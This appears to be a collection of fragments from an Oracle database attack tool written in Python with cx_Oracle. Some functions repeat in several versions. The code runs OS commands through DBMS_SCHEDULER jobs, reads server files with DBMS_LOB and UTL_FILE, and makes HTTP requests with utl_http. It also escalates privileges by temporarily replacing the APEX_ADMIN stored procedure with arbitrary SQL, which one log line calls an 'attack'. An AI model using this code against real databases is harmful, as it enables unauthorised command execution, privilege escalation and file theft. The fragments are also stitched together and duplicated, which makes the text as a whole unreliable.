def __runJob__(self): ''' run the job named self.jobName ''' logging.info('Run the job') cursor = cx_Oracle.Cursor(self.args['dbcon']) try: cursor.callproc(name="DBMS_SCHEDULER.enable", keywordParameters={'name': self.jobName}) except Exception as e: logging.info('DBMS_SCHEDULER.enable:{0}'.format( self.cleanError(e))) return ErrorSQLRequest(e) return True
def __execPLSQLwithDbmsOutput__(self,request,addLineBreak=False): ''' Execute the request containing dbms_output ''' responsedata = "" cursor = cx_Oracle.Cursor(self.args['dbcon']) try : cursor.callproc("dbms_output.enable") try: cursor.execute(request) except Exception, e: logging.info("Impossible to execute the query `{0}`: {1}".format(request, self.cleanError(e))) return ErrorSQLRequest(e) else :
def __execProc__(self,proc,options=None): ''' Execute the stored procedure ''' cursor = cx_Oracle.Cursor(self.args['dbcon']) try: if options == None : cursor.callproc(proc) else: cursor.callproc(proc,options) except Exception, e: logging.info("Impossible to execute the procedure `{0}`: {1}".format(proc, self.cleanError(e))) cursor.close() return ErrorSQLRequest(e)
def __giveTheCxsysPriv__(self, user): ''' Give the CTXSYS priv to the user with, for exemple: exec ctxsys.ctx_adm.set_parameter('file_access_role', 'public') ''' logging.info('Try to give the file_access_role privilege to the current user') parameters = {'param_name':'file_access_role','param_value':user} cursor = cx_Oracle.Cursor(self.args['dbcon']) try : cursor.callproc(name="ctxsys.ctx_adm.set_parameter",keywordParameters=parameters) except Exception as e: logging.info('Error with ctxsys.ctx_adm.set_parameter{0}'.format(self.cleanError(e))) return ErrorSQLRequest(e) return True
def __execThisQuery__(self, query=None, ld=[], isquery=True): ''' Permet de définir un cursor et execute la requete sql Si ld != [], active le chargement dans un dictionnaire des resultats ''' cursor = self.args['dbcon'].cursor() try: if SHOW_SQL_REQUESTS_IN_VERBOSE_MODE == True: logging.info("SQL request executed: {0}".format(query)) cursor.execute(query) except Exception, e: logging.info("Impossible to execute the query `{0}`: `{1}`".format( query, self.cleanError(e))) return ErrorSQLRequest(e)
def __execProc__(self,proc,options=None): ''' Execute the stored procedure - proc: procedure name - options: callproc parameters (see http://cx-oracle.readthedocs.org/en/latest/cursor.html) Return True if no error. Otherwise returns Exception (ErrorSQLRequest) ''' cursor = cx_Oracle.Cursor(self.args['dbcon']) try: if options == None : cursor.callproc(proc) else: cursor.callproc(proc,options) except Exception, e: logging.info("Impossible to execute the procedure `{0}`: {1}".format(proc, self.cleanError(e))) cursor.close() return ErrorSQLRequest(e)
def sendGetRequest(self, url): ''' send a HTTP get request to url Return False if the current user is not allowed to use the httpuritype lib, else return False or response data ''' logging.info('Send a HTTP GET request to {0}'.format(url)) query = "select utl_http.request('{0}') as data from dual".format(url) response = self.__execThisQuery__(query=query, ld=['data']) if isinstance(response, Exception): logging.info('Error with the SQL request {0}: {1}'.format( query, str(response))) return ErrorSQLRequest(response) elif isinstance(response, list) and isinstance(response[0], dict): return response[0]['data'] logging.info('Enough privileges') return ''
def getFileExist (self, remotePath, remoteNameFile): ''' Return true if file exists ''' exist, returnedValue = False, False logging.info("Test if the {1}{0} file exists".format(remoteNameFile,remotePath)) self.__setDirectoryName__() status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): return status DBMS_LOB_FILE_EXISTS = "DECLARE l_loc BFILE; l_ret BOOLEAN := FALSE; BEGIN l_loc := BFILENAME('{0}','{1}'); l_ret := DBMS_LOB.FILEEXISTS(l_loc) = 1; IF (l_ret) THEN dbms_output.put_line('True'); ELSE dbms_output.put_line('False'); END IF;END;" cursor = cx_Oracle.Cursor(self.args['dbcon']) try : cursor.callproc("dbms_output.enable") try: cursor.execute(DBMS_LOB_FILE_EXISTS.format(self.directoryName, remoteNameFile)) except Exception, e: logging.info("Impossible to execute the query `{0}`: {1}".format(DBMS_LOB_FILE_EXISTS, self.cleanError(e))) returnedValue = ErrorSQLRequest(e) else :
def connection(self,threaded =True, stopIfError=False): ''' Connection to the database 'The threaded argument is expected to be a boolean expression which indicates whether or not Oracle should use the mode OCI_THREADED to wrap accesses to connections with a mutex. Doing so in single threaded applications imposes a performance penalty of about 10-15% which is why the default is False.' If stopIfError == True, stop if connection error ''' try: if self.args['SYSDBA'] == True : logging.debug("Connecting as SYSDBA to the database") self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'], mode=cx_Oracle.SYSDBA,threaded=threaded) elif self.args['SYSOPER'] == True : logging.debug("Connecting as SYSOPER to the database") self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'], mode=cx_Oracle.SYSOPER,threaded=threaded) else : self.args['dbcon'] = cx_Oracle.connect(self.args['connectionStr'],threaded=threaded) self.args['dbcon'].autocommit = True if self.remoteOS == '' and self.oracleDatabaseversion=='' : self.loadInformationRemoteDatabase() return True except Exception, e: if self.ERROR_CONN_IMPOSS in str(e) or self.ERROR_UNABLE_TO_ACQUIRE_ENV in str(e): logging.critical("Impossible to connect to the remost host") exit(EXIT_BAD_CONNECTION) elif self.ERROR_NOT_SYSDBA in str(e): logging.info("Connection as SYS should be as SYSDBA or SYSOPER, try to connect as SYSDBA") self.args['SYSDBA'] = True return self.connection(threaded=threaded, stopIfError=stopIfError) elif self.ERROR_INSUFF_PRIV_CONN in str(e): logging.info("Insufficient privileges, SYSDBA or SYSOPER disabled") self.args['SYSDBA'] = False self.args['SYSOPER'] = False return self.connection(threaded=threaded, stopIfError=stopIfError) elif self.ERROR_SHARED_MEMORY in str(e): logging.critical("Error server side ('ORA-27101: shared memory realm does not exist').") logging.critical("You should try to use a TNS Connection String instead of a connection sting as 'server:port/instance_name'") logging.critical("You have to TRY WITH '-t' option!") exit(EXIT_BAD_CONNECTION) elif stopIfError == True: logging.critical("Impossible to connect to the remote database: {0}".format(self.cleanError(e))) exit(EXIT_BAD_CONNECTION) else : return ErrorSQLRequest(e)
def __createJob__(self, cmd): ''' Create a job for DBMS_SCHEDULER Be Careful: Special chars are not allowed in the command line ''' logging.info('Create a job named {0}'.format(self.jobName)) splitCmd = cmd.split() parameters = { 'job_name': self.jobName, 'job_type': 'EXECUTABLE', 'job_action': splitCmd[0], 'number_of_arguments': len(splitCmd) - 1, 'auto_drop': False } cursor = cx_Oracle.Cursor(self.args['dbcon']) try: cursor.callproc(name="DBMS_SCHEDULER.create_job", keywordParameters=parameters) except Exception, e: logging.info('Error with DBMS_SCHEDULER.create_job:{0}'.format( self.cleanError(e))) return ErrorSQLRequest(e)
def getFile(self, remotePath, remoteNameFile, localFile): ''' Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath) ''' data = "" logging.info("Copy the {0} remote file (stored in {1}) to {2}".format( remoteNameFile, remotePath, localFile)) #Get data of the remote file DBMS_LOB_GET_FILE = """ DECLARE -- Pointer to the BFILE l_loc BFILE; -- Current position in the file (file begins at position 1) l_pos NUMBER := 1; -- Amount of characters to read l_sum BINARY_INTEGER; -- Read Buffer l_buf VARCHAR2(32767); l_stat BINARY_INTEGER := 16383; BEGIN l_loc := BFILENAME('{0}','{1}'); DBMS_LOB.OPEN(l_loc,DBMS_LOB.LOB_READONLY); l_sum := dbms_lob.getlength(l_loc); LOOP IF (l_sum < 16383) THEN DBMS_LOB.READ(l_loc,l_sum,l_pos,l_buf); dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf)); EXIT; END IF; l_sum := l_sum - 16383; DBMS_LOB.READ(l_loc,l_stat,l_pos,l_buf); l_pos := l_pos + 16383; dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf)); END LOOP; DBMS_LOB.CLOSE(l_loc); END; """ isFileExist = self.getFileExist(remotePath, remoteNameFile) if isFileExist == True: status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status, Exception): return status cursor = cx_Oracle.Cursor(self.args['dbcon']) cursor.callproc("dbms_output.enable") try: cursor.execute( DBMS_LOB_GET_FILE.format(self.directoryName, remoteNameFile)) except Exception, e: logging.info( "Impossible to execute the query `{0}`: {1}".format( DBMS_LOB_GET_FILE, self.cleanError(e))) self.__dropDirectory__() return ErrorSQLRequest(e) else: statusVar = cursor.var(cx_Oracle.NUMBER) lineVar = cursor.var(cx_Oracle.STRING) while True: cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) if statusVar.getvalue() != 0: break line = lineVar.getvalue() if line == None: line = '' data += line logging.info(line) cursor.close()
cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) if statusVar.getvalue() != 0: returnedValue = False line = lineVar.getvalue() if line == None: line = '' if "True" in line: logging.debug("The file exist: good news") returnedValue = True elif "False" in line: logging.debug("The file doesn't exist") returnedValue = False else: logging.warning( "Can't know if the file exist. There is an error: {0}". format(line)) returnedValue = ErrorSQLRequest(line) cursor.close() except Exception, e: returnedValue = ErrorSQLRequest(e) self.__dropDirectory__() return returnedValue def testAll(self): ''' Test all functions ''' folder = self.__generateRandomString__() self.args['print'].subtitle("DBMS_LOB to read files ?") logging.info( "Simulate the file reading in the {0} folder thanks to DBMS_LOB". format(folder))
'argument_position': pos, 'argument_value': anArg } try: if self.args['show_sql_requests'] == True: logging.info( "SQL request executed: DBMS_SCHEDULER.set_job_argument_value with these parameters: {0}" .format(parameters)) cursor.callproc( name="DBMS_SCHEDULER.set_job_argument_value", keywordParameters=parameters) except Exception, e: logging.info( 'Error with DBMS_SCHEDULER.set_job_argument_value:{0}' .format(self.cleanError(e))) return ErrorSQLRequest(e) return True def __runJob__(self): ''' run the job named self.jobName ''' logging.info('Run the job') cursor = cx_Oracle.Cursor(self.args['dbcon']) try: cursor.callproc(name="DBMS_SCHEDULER.enable", keywordParameters={'name': self.jobName}) except Exception, e: logging.info('DBMS_SCHEDULER.enable:{0}'.format( self.cleanError(e))) return ErrorSQLRequest(e)
def getFile(self, remotePath, remoteNameFile): ''' return data stored in the remoteNameFile file of the remotePath path Return False if file not exist ''' logging.info("Read the {0} remote file stored in {1}".format( remoteNameFile, remotePath)) data, currentByte = b"", 0 self.__setDirectoryName__() status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status, Exception): return status #Get data of the remote file #UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32000); hexdata VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 1000); UTL_FILE.FSEEK(l_fileID,0,{2}); LOOP UTL_FILE.GET_LINE(l_fileID, l_buffer, 32000); select RAWTOHEX(l_buffer,{2}) into hexdata from dual; dbms_output.put_line(hexdata); END LOOP; EXCEPTION WHEN NO_DATA_FOUND THEN UTL_FILE.fclose(l_fileID); NULL; END;" #UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(5000); hexdata VARCHAR2(10000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 5000); UTL_FILE.FSEEK(l_fileID,{2},0); UTL_FILE.GET_LINE(l_fileID, l_buffer, 5000); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); UTL_FILE.fclose(l_fileID); END;" UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer RAW(500); hexdata VARCHAR2(1000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 32767); UTL_FILE.FSEEK(l_fileID,{2},0); UTL_FILE.GET_RAW(l_fileID, l_buffer, 500); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); UTL_FILE.fclose(l_fileID); END;" if self.getFileExist(remotePath, remoteNameFile) == True: length = self.getLength(remotePath, remoteNameFile) if length <= 0: pass else: cursor = cx_Oracle.Cursor(self.args['dbcon']) cursor.callproc("dbms_output.enable") nbNewLine = 0 logging.debug( "Reading the entire file ({0} bytes)...".format(length)) while currentByte + nbNewLine < length: logging.debug( "Reading 500 next bytes (max) from {0}...".format( currentByte + nbNewLine)) try: request = UTL_FILE_GET_FILE.format( self.directoryName, remoteNameFile, currentByte + nbNewLine) if self.args['show_sql_requests'] == True: logging.debug("Executing: {0}".format(request)) cursor.execute(request) except Exception as e: logging.info( "Impossible to execute the query `{0}`: {1}". format(UTL_FILE_GET_FILE, self.cleanError(e))) self.__dropDirectory__() return ErrorSQLRequest(e) else: statusVar = cursor.var(cx_Oracle.NUMBER) lineVar = cursor.var(cx_Oracle.STRING) while True: cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) if statusVar.getvalue() != 0: break line = lineVar.getvalue() lineBytes = bytes.fromhex(line) nbNewLine += lineBytes.count(b'\n') data += lineBytes currentByte += len(lineBytes) logging.info(lineBytes) currentByte += 0 cursor.close() else: data = False self.__dropDirectory__() return data
def getFile (self,remotePath, remoteNameFile, localFile): ''' Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath) ''' data = "" logging.info("Copy the {0} remote file (stored in {1}) to {2}".format(remoteNameFile,remotePath,localFile)) #Get data of the remote file DBMS_LOB_GET_FILE =""" DECLARE bu RAW(32766); -- Separator Character between words is a BLANK l_seb CONSTANT RAW(100) := UTL_RAW.CAST_TO_RAW(CHR(32)); -- Character at the end of the file is NEWLINE l_sen CONSTANT RAW(100) := UTL_RAW.CAST_TO_RAW(CHR(10)); -- Pointer to the BFILE l_loc BFILE; -- Current position in the file (file begins at position 1) l_pos NUMBER := 1; -- Amount of characters have been read l_sum BINARY_INTEGER := 0; -- Read Buffer l_buf VARCHAR2(10000); -- End of the current word which will be read l_end NUMBER; -- Return value l_ret BOOLEAN := FALSE; BEGIN l_loc := BFILENAME('{0}','{1}'); DBMS_LOB.OPEN(l_loc,DBMS_LOB.LOB_READONLY); LOOP -- Calculate the end of the current word l_end := DBMS_LOB.INSTR(l_loc,l_seb,l_pos,1); -- Process end-of-file IF (l_end = 0) THEN l_end := DBMS_LOB.INSTR(l_loc,l_sen,l_pos,1); l_sum := l_end - l_pos ; DBMS_LOB.READ(l_loc,l_sum,l_pos,l_buf); dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf)); EXIT; END IF; -- Read until end-of-file l_sum := l_end - l_pos; DBMS_LOB.READ(l_loc,l_sum,l_pos,l_buf); dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(l_buf)); l_pos := l_pos + l_sum + 1; END LOOP; DBMS_LOB.CLOSE(l_loc); END; """ isFileExist= self.getFileExist (remotePath, remoteNameFile) if isFileExist == True : status = self.__createOrRemplaceDirectory__(remotePath) if isinstance(status,Exception): return status cursor = cx_Oracle.Cursor(self.args['dbcon']) cursor.callproc("dbms_output.enable") try: cursor.execute(DBMS_LOB_GET_FILE.format(self.directoryName, remoteNameFile)) except Exception, e: logging.info("Impossible to execute the query `{0}`: {1}".format(DBMS_LOB_GET_FILE, self.cleanError(e))) self.__dropDirectory__() return ErrorSQLRequest(e) else : statusVar = cursor.var(cx_Oracle.NUMBER) lineVar = cursor.var(cx_Oracle.STRING) while True: cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) if statusVar.getvalue() != 0: break line = lineVar.getvalue() if line == None : line = '' data += line logging.info(line) cursor.close()
def executeSytemRequestWithCreateAnyProcedureMethod (self, privRequest=None): ''' When a database user has the "Execute Any Procedure" privilege, he can execute arbitrary privileged SQL requests. returns True if ok. Returns Exception if error. ''' self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC = "APEX_ADMIN" self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC = "APEX_040200" #self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC = "SI_CONVERTFORMAT" #self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC = "ORDSYS" self.EXECUTE_STORED_PROCEDURE_FOR_CREATE_ANY_PROC="BEGIN {0}; END;"#{0}:procedure complete name self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC = "{0}.{1}".format(self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC, self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC) self.CREATE_STORED_PROCEDURE_FOR_CREATE_ANY_PROCEDURE="CREATE OR REPLACE PROCEDURE {0} IS BEGIN EXECUTE IMMEDIATE '{1}'; END;" #{0}:procedure name {1}:Request to execute def __getStoredProcedureWithoutFirstLine__(): ''' Copy the stored procedure WITHOUT the first line Returns string if no error. Returns Exception if error ''' self.GET_CODE_STORED_PROCEDURE="SELECT text FROM all_source WHERE name='{0}' AND owner='{1}'".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC, self.STORED_PROC_OWNER_FOR_CREATE_ANY_PROC) code ="" numLine = 0 logging.info("Trying to get source code of the stored procedure named {0} ".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC)) response = self.__execThisQuery__(self.GET_CODE_STORED_PROCEDURE, ld=['TEXT']) if isinstance(response, Exception): logging.info("Impossible to get the source code of the stored procedure named '{0}': {1}".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC, self.cleanError(response))) return response else: for line in response: if numLine > 0: code += line['TEXT'] numLine += 1 logging.debug('Souce code of {0}: {1}'.format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC, repr(code))) return code def __restoreStoredProcedure__(storedProcCompleteName, oldSourceCode): ''' Restore the stored procedure with oldSourceCode Returns string if no error. Returns Exception if error ''' REQUEST = "CREATE OR REPLACE PROCEDURE {0}\n{1}".format(storedProcCompleteName, oldSourceCode) logging.debug('The following request will be executed to restore the stored procedure {0}: {1}'.format(storedProcCompleteName, repr(REQUEST))) status = self.__execPLSQL__(REQUEST) if isinstance(status, Exception): logging.info("Impossible to restore the stored procedure named '{0}': {1}".format(storedProcCompleteName, self.cleanError(status))) return status else: logging.info("The stored procedure named '{0}' has been restored".format(storedProcCompleteName)) return True logging.info("Trying to modify the stored procedure {0} for executing the request '{1}'".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, privRequest)) initalSrcCode = __getStoredProcedureWithoutFirstLine__() if isinstance(initalSrcCode, Exception) : logging.info('Impossible to get the source code, cancelling attack....') return initalSrcCode elif initalSrcCode=='': msgerror = "The source code of {0} is empty!".format(self.STORED_PROC_NAME_FOR_CREATE_ANY_PROC) logging.info(msgerror) return ErrorSQLRequest(msgerror) else: logging.info("Modifing the stored procedure...") status = self.__execPLSQL__(self.CREATE_STORED_PROCEDURE_FOR_CREATE_ANY_PROCEDURE.format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, privRequest)) if isinstance(status, Exception): logging.info("Impossible to modify the stored procedure named '{0}': {1}".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, self.cleanError(status))) return status else : logging.debug("Stored procedure {0} modified".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC)) logging.info("Trying to execute the stored procedure '{0}'".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC)) status = self.__execPLSQL__(self.EXECUTE_STORED_PROCEDURE_FOR_CREATE_ANY_PROC.format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC)) if isinstance(status, Exception): logging.info("Impossible to execute the stored procedure named '{0}': {1}".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, self.cleanError(status))) __restoreStoredProcedure__(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, initalSrcCode) return status else : logging.debug("Stored procedure named '{0}' executed".format(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC)) __restoreStoredProcedure__(self.STORED_PROC_COMPLETE_NAME_FOR_CREATE_ANY_PROC, initalSrcCode) return True